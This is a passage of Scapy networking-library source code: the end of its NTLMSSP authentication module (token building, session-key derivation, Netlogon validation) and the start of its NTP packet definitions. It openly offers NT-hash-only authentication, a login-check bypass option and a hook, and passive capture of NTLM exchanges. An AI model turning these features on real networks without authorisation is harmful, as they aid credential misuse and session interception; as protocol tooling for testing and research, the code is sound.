tok.LmChallengeResponse = LMv2_RESPONSE() # Populate the token # 1. Set username try: tok.UserName, realm = _parse_upn(self.UPN) except ValueError: tok.UserName, realm = self.UPN, Context.ServerDomain # 2. Set domain name if realm is None: log_runtime.warning( "No realm specified in UPN, nor provided by server." ) tok.DomainName = self.DOMAIN_FQDN else: tok.DomainName = realm # 3. Set workstation name tok.Workstation = self.COMPUTER_NB_NAME # 4. Create and calculate the ChallengeResponse # 4.1 Build the payload cr = tok.NtChallengeResponse = NTLMv2_RESPONSE( ChallengeFromClient=os.urandom(8), ) cr.TimeStamp = int((time.time() + 11644473600) * 1e7) cr.AvPairs = ( # Repeat AvPairs from the server chall_tok.TargetInfo[:-1] + ( [ AV_PAIR(AvId="MsvAvFlags", Value="MIC integrity"), ] if self.USE_MIC else [] ) + [ AV_PAIR( AvId="MsvAvSingleHost", Value=Single_Host_Data( MachineID=os.urandom(32), PermanentMachineID=os.urandom(32), ), ), ] + ( [ AV_PAIR( # [MS-NLMP] sect 2.2.2.1 refers to RFC 4121 sect 4.1.1.2 # "The Bnd field contains the MD5 hash of channel bindings" AvId="MsvAvChannelBindings", Value=chan_bindings.digestMD5(), ), ] if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS else [] ) + [ AV_PAIR( AvId="MsvAvTargetName", Value=target_name or ("host/" + Context.ServerHostname), ), AV_PAIR(AvId="MsvAvEOL"), ] ) if self.NTLM_VALUES: # Update that token with the customs one for key in [ "NegotiateFlags", "ProductMajorVersion", "ProductMinorVersion", "ProductBuild", ]: if key in self.NTLM_VALUES: setattr(tok, key, self.NTLM_VALUES[key]) # 4.2 Compute the ResponseKeyNT ResponseKeyNT = NTOWFv2( None, tok.UserName, tok.DomainName, HashNt=self.HASHNT, ) # 4.3 Compute the NTProofStr cr.NTProofStr = cr.computeNTProofStr( ResponseKeyNT, chall_tok.ServerChallenge, ) # 4.4 Compute the Session Key SessionBaseKey = NTLMv2_ComputeSessionBaseKey(ResponseKeyNT, cr.NTProofStr) KeyExchangeKey = SessionBaseKey # Only true for NTLMv2 if chall_tok.NegotiateFlags.NEGOTIATE_KEY_EXCH: ExportedSessionKey = os.urandom(16) tok.EncryptedRandomSessionKey = RC4K( KeyExchangeKey, ExportedSessionKey, ) else: ExportedSessionKey = KeyExchangeKey # 4.5 Compute the MIC if self.USE_MIC: tok.compute_mic(ExportedSessionKey, Context.neg_tok, chall_tok) # 5. Perform key computations Context.ExportedSessionKey = ExportedSessionKey # [MS-SMB] 3.2.5.3 Context.SessionKey = Context.ExportedSessionKey # Compute NTLM keys Context.SendSignKey = SIGNKEY( tok.NegotiateFlags, ExportedSessionKey, "Client" ) Context.SendSealKey = SEALKEY( tok.NegotiateFlags, ExportedSessionKey, "Client" ) Context.SendSealHandle = RC4Init(Context.SendSealKey) Context.RecvSignKey = SIGNKEY( tok.NegotiateFlags, ExportedSessionKey, "Server" ) Context.RecvSealKey = SEALKEY( tok.NegotiateFlags, ExportedSessionKey, "Server" ) Context.RecvSealHandle = RC4Init(Context.RecvSealKey) # Update the state Context.state = self.STATE.CLI_SENT_AUTH return Context, tok, GSS_S_COMPLETE elif Context.state == self.STATE.CLI_SENT_AUTH: if input_token: # what is that? status = GSS_S_DEFECTIVE_TOKEN else: status = GSS_S_COMPLETE return Context, None, status else: raise ValueError("NTLMSSP: unexpected state %s" % repr(Context.state)) def GSS_Accept_sec_context( self, Context: CONTEXT, input_token=None, req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: Context = self.CONTEXT(IsAcceptor=True, req_flags=req_flags) if Context.state == self.STATE.INIT: # Server: challenge (input_token=negotiate) nego_tok = input_token if not nego_tok or NTLM_NEGOTIATE not in nego_tok: log_runtime.debug("NTLMSSP: Unexpected token. Expected NTLM Negotiate") return Context, None, GSS_S_DEFECTIVE_TOKEN # Build the challenge token currentTime = (time.time() + 11644473600) * 1e7 tok = NTLM_CHALLENGE( VARIANT=self.VARIANT, ServerChallenge=self.SERVER_CHALLENGE or os.urandom(8), NegotiateFlags="+".join( [ "NEGOTIATE_UNICODE", "REQUEST_TARGET", "NEGOTIATE_NTLM", "NEGOTIATE_ALWAYS_SIGN", "NEGOTIATE_EXTENDED_SESSIONSECURITY", "NEGOTIATE_TARGET_INFO", "TARGET_TYPE_DOMAIN", "NEGOTIATE_128", "NEGOTIATE_KEY_EXCH", "NEGOTIATE_56", ] + ( ["NEGOTIATE_VERSION"] if self.VARIANT >= NTLM_VARIANT.XP_OR_2003 else [] ) + ( ["NEGOTIATE_SIGN"] if nego_tok.NegotiateFlags.NEGOTIATE_SIGN else [] ) + ( ["NEGOTIATE_SEAL"] if nego_tok.NegotiateFlags.NEGOTIATE_SEAL else [] ) ), ProductMajorVersion=10, ProductMinorVersion=0, Payload=[ ("TargetName", ""), ( "TargetInfo", [ # MsvAvNbComputerName AV_PAIR(AvId=1, Value=self.COMPUTER_NB_NAME), # MsvAvNbDomainName AV_PAIR(AvId=2, Value=self.DOMAIN_NB_NAME), # MsvAvDnsComputerName AV_PAIR(AvId=3, Value=self.COMPUTER_FQDN), # MsvAvDnsDomainName AV_PAIR(AvId=4, Value=self.DOMAIN_FQDN), # MsvAvDnsTreeName AV_PAIR(AvId=5, Value=self.DOMAIN_FQDN), # MsvAvTimestamp AV_PAIR(AvId=7, Value=currentTime), # MsvAvEOL AV_PAIR(AvId=0), ], ), ], ) if self.NTLM_VALUES: # Update that token with the customs one for key in [ "ServerChallenge", "NegotiateFlags", "ProductMajorVersion", "ProductMinorVersion", "TargetName", ]: if key in self.NTLM_VALUES: setattr(tok, key, self.NTLM_VALUES[key]) avpairs = {x.AvId: x.Value for x in tok.TargetInfo} tok.TargetInfo = [ AV_PAIR(AvId=i, Value=self.NTLM_VALUES.get(x, avpairs[i])) for (i, x) in [ (2, "NetbiosDomainName"), (1, "NetbiosComputerName"), (4, "DnsDomainName"), (3, "DnsComputerName"), (5, "DnsTreeName"), (6, "Flags"), (7, "Timestamp"), (0, None), ] if ((x in self.NTLM_VALUES) or (i in avpairs)) and self.NTLM_VALUES.get(x, True) is not None ] # Store for next step Context.chall_tok = tok # Update the state Context.state = self.STATE.SRV_SENT_CHAL return Context, tok, GSS_S_CONTINUE_NEEDED elif Context.state == self.STATE.SRV_SENT_CHAL: # server: OK or challenge again (input_token=auth) auth_tok = input_token if not auth_tok or NTLM_AUTHENTICATE_V2 not in auth_tok: log_runtime.debug( "NTLMSSP: Unexpected token. Expected NTLM Authenticate v2" ) return Context, None, GSS_S_DEFECTIVE_TOKEN if self.DO_NOT_CHECK_LOGIN: # Just trust me bro. Typically used in "guest" mode. return Context, None, GSS_S_COMPLETE # Compute the session key SessionBaseKey = self._getSessionBaseKey(Context, auth_tok) if SessionBaseKey: # [MS-NLMP] sect 3.2.5.1.2 KeyExchangeKey = SessionBaseKey # Only true for NTLMv2 if auth_tok.NegotiateFlags.NEGOTIATE_KEY_EXCH: try: EncryptedRandomSessionKey = auth_tok.EncryptedRandomSessionKey except AttributeError: # No EncryptedRandomSessionKey. libcurl for instance # hmm. this looks bad EncryptedRandomSessionKey = b"\x00" * 16 ExportedSessionKey = RC4K(KeyExchangeKey, EncryptedRandomSessionKey) else: ExportedSessionKey = KeyExchangeKey Context.ExportedSessionKey = ExportedSessionKey # [MS-SMB] 3.2.5.3 Context.SessionKey = Context.ExportedSessionKey # Check the timestamp try: ClientTimestamp = auth_tok.NtChallengeResponse.getAv(0x0007).Value ClientTime = (ClientTimestamp / 1e7) - 11644473600 if abs(ClientTime - time.time()) >= NTLMSSP.NTLM_MaxLifetime: log_runtime.warning( "Server and Client times are off by more than 36h !" ) # We could error here, but we don't. except IndexError: pass # Check the channel bindings if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS: try: Bnd = auth_tok.NtChallengeResponse.getAv(0x000A).Value if Bnd != chan_bindings.digestMD5(): # Bad channel bindings return Context, None, GSS_S_BAD_BINDINGS except IndexError: if GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS not in req_flags: # Uhoh, we required channel bindings return Context, None, GSS_S_BAD_BINDINGS if Context.SessionKey: # Compute NTLM keys Context.SendSignKey = SIGNKEY( auth_tok.NegotiateFlags, ExportedSessionKey, "Server" ) Context.SendSealKey = SEALKEY( auth_tok.NegotiateFlags, ExportedSessionKey, "Server" ) Context.SendSealHandle = RC4Init(Context.SendSealKey) Context.RecvSignKey = SIGNKEY( auth_tok.NegotiateFlags, ExportedSessionKey, "Client" ) Context.RecvSealKey = SEALKEY( auth_tok.NegotiateFlags, ExportedSessionKey, "Client" ) Context.RecvSealHandle = RC4Init(Context.RecvSealKey) # Check the NTProofStr if self._checkLogin(Context, auth_tok): # Set negotiated flags if auth_tok.NegotiateFlags.NEGOTIATE_SIGN: Context.flags |= GSS_C_FLAGS.GSS_C_INTEG_FLAG if auth_tok.NegotiateFlags.NEGOTIATE_SEAL: Context.flags |= GSS_C_FLAGS.GSS_C_CONF_FLAG return Context, None, GSS_S_COMPLETE # Bad NTProofStr or unknown user Context.SessionKey = None Context.state = self.STATE.INIT return Context, None, GSS_S_DEFECTIVE_CREDENTIAL else: raise ValueError("NTLMSSP: unexpected state %s" % repr(Context.state)) def MaximumSignatureLength(self, Context: CONTEXT): """ Returns the Maximum Signature length. This will be used in auth_len in DceRpc5, and is necessary for PFC_SUPPORT_HEADER_SIGN to work properly. """ return 16 # len(NTLMSSP_MESSAGE_SIGNATURE()) def GSS_Passive(self, Context: CONTEXT, token=None, req_flags=None): if Context is None: Context = self.CONTEXT(True) Context.passive = True # We capture the Negotiate, Challenge, then call the server's auth handling # and discard the output. if Context.state == self.STATE.INIT: if not token or NTLM_NEGOTIATE not in token: log_runtime.warning("NTLMSSP: Expected NTLM Negotiate") return None, GSS_S_DEFECTIVE_TOKEN Context.neg_tok = token Context.state = self.STATE.CLI_SENT_NEGO return Context, GSS_S_CONTINUE_NEEDED elif Context.state == self.STATE.CLI_SENT_NEGO: if not token or NTLM_CHALLENGE not in token: log_runtime.warning("NTLMSSP: Expected NTLM Challenge") return None, GSS_S_DEFECTIVE_TOKEN Context.chall_tok = token Context.state = self.STATE.SRV_SENT_CHAL return Context, GSS_S_CONTINUE_NEEDED elif Context.state == self.STATE.SRV_SENT_CHAL: if not token or NTLM_AUTHENTICATE_V2 not in token: log_runtime.warning("NTLMSSP: Expected NTLM Authenticate") return None, GSS_S_DEFECTIVE_TOKEN Context, _, status = self.GSS_Accept_sec_context(Context, token) if status != GSS_S_COMPLETE: log_runtime.info("NTLMSSP: auth failed.") Context.state = self.STATE.INIT return Context, status else: raise ValueError("NTLMSSP: unexpected state %s" % repr(Context.state)) def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False): if Context.IsAcceptor is not IsAcceptor: return # Swap everything Context.SendSignKey, Context.RecvSignKey = ( Context.RecvSignKey, Context.SendSignKey, ) Context.SendSealKey, Context.RecvSealKey = ( Context.RecvSealKey, Context.SendSealKey, ) Context.SendSealHandle, Context.RecvSealHandle = ( Context.RecvSealHandle, Context.SendSealHandle, ) Context.SendSeqNum, Context.RecvSeqNum = Context.RecvSeqNum, Context.SendSeqNum Context.IsAcceptor = not Context.IsAcceptor def _getSessionBaseKey(self, Context, auth_tok): """ Function that returns the SessionBaseKey from the ntlm Authenticate. """ try: # Windows usernames are case insensitive username = auth_tok.UserName.upper() except AttributeError: username = None try: domain = auth_tok.DomainName except AttributeError: domain = "" if self.IDENTITIES and username in self.IDENTITIES: ResponseKeyNT = NTOWFv2( None, username, domain, HashNt=self.IDENTITIES[username], ) return NTLMv2_ComputeSessionBaseKey( ResponseKeyNT, auth_tok.NtChallengeResponse.NTProofStr, ) elif self.IDENTITIES: log_runtime.debug("NTLMSSP: Bad credentials for %s" % username) return None def _checkLogin(self, Context, auth_tok): """ Function that checks the validity of an authentication. Overwrite and return True to bypass. """ try: # Windows usernames are case insensitive username = auth_tok.UserName.upper() except AttributeError: username = None try: domain = auth_tok.DomainName except AttributeError: domain = "" if username in self.IDENTITIES: ResponseKeyNT = NTOWFv2( None, username, domain, HashNt=self.IDENTITIES[username], ) NTProofStr = auth_tok.NtChallengeResponse.computeNTProofStr( ResponseKeyNT, Context.chall_tok.ServerChallenge, ) if NTProofStr == auth_tok.NtChallengeResponse.NTProofStr: return True return False class NTLMSSP_DOMAIN(NTLMSSP): """ A variant of the NTLMSSP to be used in server mode that gets the session keys from the domain using a Netlogon channel. This has the same arguments as NTLMSSP, but supports the following in server mode: :param UPN: the UPN of the machine account to login for Netlogon. :param HASHNT: the HASHNT of the machine account (use Netlogon secure channel). :param ssp: a KerberosSSP to use (use Kerberos secure channel). :param PASSWORD: the PASSWORD of the machine account to use for Netlogon. :param DC_IP: (optional) specify the IP of the DC. Netlogon example:: >>> mySSP = NTLMSSP_DOMAIN( ... UPN="Server1@domain.local", ... HASHNT=bytes.fromhex("8846f7eaee8fb117ad06bdd830b7586c"), ... ) Kerberos example:: >>> mySSP = NTLMSSP_DOMAIN( ... UPN="Server1@domain.local", ... KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, ... key=bytes.fromhex( ... "85abb9b61dc2fa49d4cc04317bbd108f8f79df28" ... "239155ed7b144c5d2ebcf016" ... ) ... ), ... ) """ def __init__(self, UPN=None, *args, timeout=3, ssp=None, **kwargs): from scapy.layers.kerberos import KerberosSSP # Either PASSWORD or HASHNT or ssp if ( "HASHNT" not in kwargs and "PASSWORD" not in kwargs and "KEY" not in kwargs and ssp is None ): raise ValueError( "Must specify either 'HASHNT', 'PASSWORD' or " "provide a ssp=KerberosSSP()" ) elif ssp is not None and not isinstance(ssp, KerberosSSP): raise ValueError("'ssp' can only be None or a KerberosSSP !") self.KEY = kwargs.pop("KEY", None) self.PASSWORD = kwargs.get("PASSWORD", None) # UPN is mandatory if UPN is None and ssp is not None and ssp.UPN: UPN = ssp.UPN elif UPN is None: raise ValueError("Must specify a 'UPN' !") kwargs["UPN"] = UPN # Call parent super(NTLMSSP_DOMAIN, self).__init__( *args, **kwargs, ) # Treat specific parameters self.DC_FQDN = kwargs.pop("DC_FQDN", None) if self.DC_FQDN is None: # Get DC_FQDN from dclocator from scapy.layers.ldap import dclocator dc = dclocator( self.DOMAIN_FQDN, timeout=timeout, debug=kwargs.get("debug", 0), ) self.DC_FQDN = dc.samlogon.DnsHostName.decode().rstrip(".") # If logging in via Kerberos self.ssp = ssp def _getSessionBaseKey(self, Context, ntlm): """ Return the Session Key by asking the DC. """ # No user / no domain: skip. if not ntlm.UserNameLen or not ntlm.DomainNameLen: return super(NTLMSSP_DOMAIN, self)._getSessionBaseKey(Context, ntlm) # Import RPC stuff from scapy.layers.dcerpc import NDRUnion from scapy.layers.msrpce.msnrpc import ( NETLOGON_SECURE_CHANNEL_METHOD, NetlogonClient, ) from scapy.layers.msrpce.raw.ms_nrpc import ( NETLOGON_LOGON_IDENTITY_INFO, NetrLogonSamLogonWithFlags_Request, PNETLOGON_AUTHENTICATOR, PNETLOGON_NETWORK_INFO, STRING, UNICODE_STRING, ) # Create NetlogonClient with PRIVACY client = NetlogonClient() client.connect(self.DC_FQDN) # Establish the Netlogon secure channel (this will bind) try: if self.ssp is None and self.KEY is None: # Login via classic NetlogonSSP client.establish_secure_channel( mode=NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3, UPN=f"{self.COMPUTER_NB_NAME}@{self.DOMAIN_NB_NAME}", DC_FQDN=self.DC_FQDN, HASHNT=self.HASHNT, ) else: # Login via KerberosSSP (Windows 2025) client.establish_secure_channel( mode=NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticateKerberos, UPN=self.UPN, DC_FQDN=self.DC_FQDN, PASSWORD=self.PASSWORD, KEY=self.KEY, ssp=self.ssp, ) except ValueError: log_runtime.warning( "Couldn't establish the Netlogon secure channel. " "Check the credentials for '%s' !" % self.COMPUTER_NB_NAME ) return super(NTLMSSP_DOMAIN, self)._getSessionBaseKey(Context, ntlm) # Request validation of the NTLM request req = NetrLogonSamLogonWithFlags_Request( LogonServer="", ComputerName=self.COMPUTER_NB_NAME, Authenticator=client.create_authenticator(), ReturnAuthenticator=PNETLOGON_AUTHENTICATOR(), LogonLevel=6, # NetlogonNetworkTransitiveInformation LogonInformation=NDRUnion( tag=6, value=PNETLOGON_NETWORK_INFO( Identity=NETLOGON_LOGON_IDENTITY_INFO( LogonDomainName=UNICODE_STRING( Buffer=ntlm.DomainName, ), ParameterControl=0x00002AE0, UserName=UNICODE_STRING( Buffer=ntlm.UserName, ), Workstation=UNICODE_STRING( Buffer=ntlm.Workstation, ), ), LmChallenge=Context.chall_tok.ServerChallenge, NtChallengeResponse=STRING( Buffer=bytes(ntlm.NtChallengeResponse), ), LmChallengeResponse=STRING( Buffer=bytes(ntlm.LmChallengeResponse), ), ), ), ValidationLevel=6, ExtraFlags=0, ndr64=client.ndr64, ) # Get response resp = client.sr1_req(req) if resp and resp.status == 0: # Success # Validate DC authenticator client.validate_authenticator(resp.ReturnAuthenticator.value) # Get and return the SessionKey UserSessionKey = resp.ValidationInformation.value.value.UserSessionKey return bytes(UserSessionKey) else: # Failed return super(NTLMSSP_DOMAIN, self)._getSessionBaseKey(Context, ntlm) def _checkLogin(self, Context, auth_tok): # Always OK if we got the session key return True ================================================ FILE: scapy/layers/ntp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ NTP (Network Time Protocol). References : RFC 5905, RC 1305, ntpd source code """ import struct import time import datetime from scapy.packet import Packet, bind_layers from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, FixedPointField, FlagsField, IP6Field, IPField, IntField, LEIntField, LEShortField, MayEnd, MultipleTypeField, PacketField, PacketListField, PadField, ShortField, SignedByteField, StrField, StrFixedLenEnumField, StrFixedLenField, StrLenField, XByteField, XStrFixedLenField, ) from scapy.layers.inet import UDP from scapy.utils import lhex from scapy.compat import orb from scapy.config import conf ############################################################################# # Constants ############################################################################# _NTP_AUTH_MD5_MIN_SIZE = 68 _NTP_EXT_MIN_SIZE = 16 _NTP_HDR_WITH_EXT_MIN_SIZE = _NTP_AUTH_MD5_MIN_SIZE + _NTP_EXT_MIN_SIZE _NTP_AUTH_MD5_TAIL_SIZE = 20 _NTP_AUTH_MD5_DGST_SIZE = 16 _NTP_PRIVATE_PACKET_MIN_SIZE = 8 # ntpd "Private" messages are the shortest _NTP_PACKET_MIN_SIZE = _NTP_PRIVATE_PACKET_MIN_SIZE _NTP_PRIVATE_REQ_PKT_TAIL_LEN = 28 # seconds between 01-01-1900 and 01-01-1970 _NTP_BASETIME = 2208988800 # include/ntp.h _NTP_SHIFT = 8 _NTP_HASH_SIZE = 128 ############################################################################# # Fields and utilities ############################################################################# class XLEShortField(LEShortField): """ XShortField which value is encoded in little endian. """ def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class TimeStampField(FixedPointField): """ This field handles the timestamp fields in the NTP header. """ def __init__(self, name, default): FixedPointField.__init__(self, name, default, 64, 32) def i2repr(self, pkt, val): if val is None: return "--" val = self.i2h(pkt, val) if val < _NTP_BASETIME: return str(val) return time.strftime( "%a, %d %b %Y %H:%M:%S +0000", time.gmtime(int(val - _NTP_BASETIME)) ) def any2i(self, pkt, val): if isinstance(val, str): val = int(time.mktime(time.strptime(val))) + _NTP_BASETIME elif isinstance(val, datetime.datetime): val = int(val.strftime("%s")) + _NTP_BASETIME return FixedPointField.any2i(self, pkt, val) def i2m(self, pkt, val): if val is None: val = FixedPointField.any2i(self, pkt, time.time() + _NTP_BASETIME) return FixedPointField.i2m(self, pkt, val) ############################################################################# # NTP ############################################################################# # RFC 5905 / Section 7.3 _leap_indicator = { 0: "no warning", 1: "last minute of the day has 61 seconds", 2: "last minute of the day has 59 seconds", 3: "unknown (clock unsynchronized)" } # RFC 5905 / Section 7.3 _ntp_modes = { 0: "reserved", 1: "symmetric active", 2: "symmetric passive", 3: "client", 4: "server", 5: "broadcast", 6: "NTP control message", 7: "reserved for private use" } # RFC 5905 / Section 7.3 _reference_identifiers = { b"GOES": "Geosynchronous Orbit Environment Satellite", b"GPS ": "Global Position System", b"GAL ": "Galileo Positioning System", b"PPS ": "Generic pulse-per-second", b"IRIG": "Inter-Range Instrumentation Group", b"WWVB": "LF Radio WWVB Ft. Collins, CO 60 kHz", b"DCF ": "LF Radio DCF77 Mainflingen, DE 77.5 kHz", b"HBG ": "LF Radio HBG Prangins, HB 75 kHz", b"MSF ": "LF Radio MSF Anthorn, UK 60 kHz", b"JJY ": "LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz", b"LORC": "MF Radio LORAN C station, 100 kHz", b"TDF ": "MF Radio Allouis, FR 162 kHz", b"CHU ": "HF Radio CHU Ottawa, Ontario", b"WWV ": "HF Radio WWV Ft. Collins, CO", b"WWVH": "HF Radio WWVH Kauai, HI", b"NIST": "NIST telephone modem", b"ACTS": "NIST telephone modem", b"USNO": "USNO telephone modem", b"PTB ": "European telephone modem", } # RFC 5905 / Section 7.4 _kiss_codes = { "ACST": "The association belongs to a unicast server.", "AUTH": "Server authentication failed.", "AUTO": "Autokey sequence failed.", "BCST": "The association belongs to a broadcast server.", "CRYP": "Cryptographic authentication or identification failed.", "DENY": "Access denied by remote server.", "DROP": "Lost peer in symmetric mode.", "RSTR": "Access denied due to local policy.", "INIT": "The association has not yet synchronized for the first time.", "MCST": "The association belongs to a dynamically discovered server.", "NKEY": "No key found.", "RATE": "Rate exceeded.", "RMOT": "Alteration of association from a remote host running ntpdc." } # Used by _ntp_dispatcher to instantiate the appropriate class def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is None: return NTPHeader else: length = len(payload) if length >= _NTP_PACKET_MIN_SIZE: first_byte = orb(payload[0]) # Extract NTP mode mode = first_byte & 7 return {6: NTPControl, 7: NTPPrivate}.get(mode, NTPHeader) return conf.raw_layer class NTP(Packet): """ Base class that allows easier instantiation of a NTP packet from binary data. """ @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _ntp_dispatcher(_pkt) def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) raise _NTPInvalidDataException(err) return s def mysummary(self): return self.sprintf( "NTP v%ir,{0}.version%, %{0}.mode%".format(self.__class__.__name__) ) class _NTPAuthenticatorPaddingField(StrField): """ StrField handling the padding that may be found before the "authenticator" field. """ def getfield(self, pkt, s): ret = None remain = s length = len(s) if length > _NTP_AUTH_MD5_TAIL_SIZE: start = length - _NTP_AUTH_MD5_TAIL_SIZE ret = s[:start] remain = s[start:] return remain, ret class NTPAuthenticator(Packet): """ Packet handling the "authenticator" part of a NTP packet, as defined in RFC 5905. """ name = "Authenticator" fields_desc = [ _NTPAuthenticatorPaddingField("padding", ""), IntField("key_id", 0), XStrFixedLenField("dgst", "", length_from=lambda x: 16) ] def extract_padding(self, s): return b"", s class NTPExtension(Packet): """ Packet handling a NTPv4 extension. """ ######################################################################### # # RFC 7822 ######################################################################### # # 7.5. NTP Extension Field Format # # In NTPv3, one or more extension fields can be inserted after the # header and before the MAC, if a MAC is present. # # Other than defining the field format, this document makes no use # of the field contents. An extension field contains a request or # response message in the format shown in Figure 14. # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Field Type | Length | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # . . # . Value . # . . # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Padding (as needed) | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Figure 14: Extension Field Format # # # All extension fields are zero-padded to a word (four octets) # boundary. ######################################################################### # name = "extension" fields_desc = [ ShortField("type", 0), ShortField("len", 0), PadField(PacketField("value", "", Packet), align=4, padwith=b"\x00") ] class NTPExtPacketListField(PacketListField): """ PacketListField handling NTPv4 extensions (NTPExtension list). """ def m2i(self, pkt, m): ret = None if len(m) >= 16: ret = NTPExtension(m) else: ret = conf.raw_layer(m) return ret def getfield(self, pkt, s): lst = [] remain = s length = len(s) if length > _NTP_AUTH_MD5_TAIL_SIZE: end = length - _NTP_AUTH_MD5_TAIL_SIZE extensions = s[:end] remain = s[end:] extensions_len = len(extensions) while extensions_len >= 16: ext_len = struct.unpack("!H", extensions[2:4])[0] ext_len = min(ext_len, extensions_len) if ext_len < 1: ext_len = extensions_len current = extensions[:ext_len] extensions = extensions[ext_len:] current_packet = self.m2i(pkt, current) lst.append(current_packet) extensions_len = len(extensions) if extensions_len > 0: lst.append(self.m2i(pkt, extensions)) return remain, lst class NTPExtensions(Packet): """ Packet handling the NTPv4 extensions and the "MAC part" of the packet. """ ######################################################################### # # RFC 5905 / RFC 7822 ######################################################################### # # 7.5. NTP Extension Field Format # # In NTPv4, one or more extension fields can be inserted after the # header and before the MAC, if a MAC is present. ######################################################################### # name = "NTPv4 extensions" fields_desc = [ NTPExtPacketListField("extensions", [], Packet), PacketField("mac", NTPAuthenticator(), NTPAuthenticator) ] class NTPHeader(NTP): """ Packet handling the RFC 5905 NTP packet. """ ######################################################################### # # RFC 5905 ######################################################################### # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |LI | VN |Mode | Stratum | Poll | Precision | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Root Delay | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Root Dispersion | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Reference ID | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Reference Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Origin Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Receive Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Transmit Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # . . # . Extension Field 1 (variable) . # . . # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # . . # . Extension Field 2 (variable) . # . . # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Key Identifier | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | dgst (128) | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Figure 8: Packet Header Format ######################################################################### # name = "NTPHeader" match_subclass = True fields_desc = [ BitEnumField("leap", 0, 2, _leap_indicator), BitField("version", 4, 3), BitEnumField("mode", 3, 3, _ntp_modes), BitField("stratum", 2, 8), SignedByteField("poll", 0xa), SignedByteField("precision", 0), FixedPointField("delay", 0, size=32, frac_bits=16), FixedPointField("dispersion", 0, size=32, frac_bits=16), ConditionalField(IPField("id", "127.0.0.1"), lambda p: p.stratum > 1), ConditionalField( StrFixedLenEnumField( "ref_id", "", length=4, enum=_reference_identifiers ), lambda p: p.stratum < 2 ), TimeStampField("ref", 0), TimeStampField("orig", None), TimeStampField("recv", 0), TimeStampField("sent", None), ] def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen - 4 in [16, 20, 32, 64]: # length of MD5, SHA1, SHA256, SHA512 return NTPAuthenticator elif plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions return Packet.guess_payload_class(self, payload) class _NTPInvalidDataException(Exception): """ Raised when it is not possible to instantiate a NTP packet with the given data. """ def __init__(self, details): Exception.__init__( self, "Data does not seem to be a valid NTP message" + details ) ############################################################################## # Private (mode 7) ############################################################################## # Operation codes _op_codes = { 0: "CTL_OP_UNSPEC", 1: "CTL_OP_READSTAT", 2: "CTL_OP_READVAR", 3: "CTL_OP_WRITEVAR", 4: 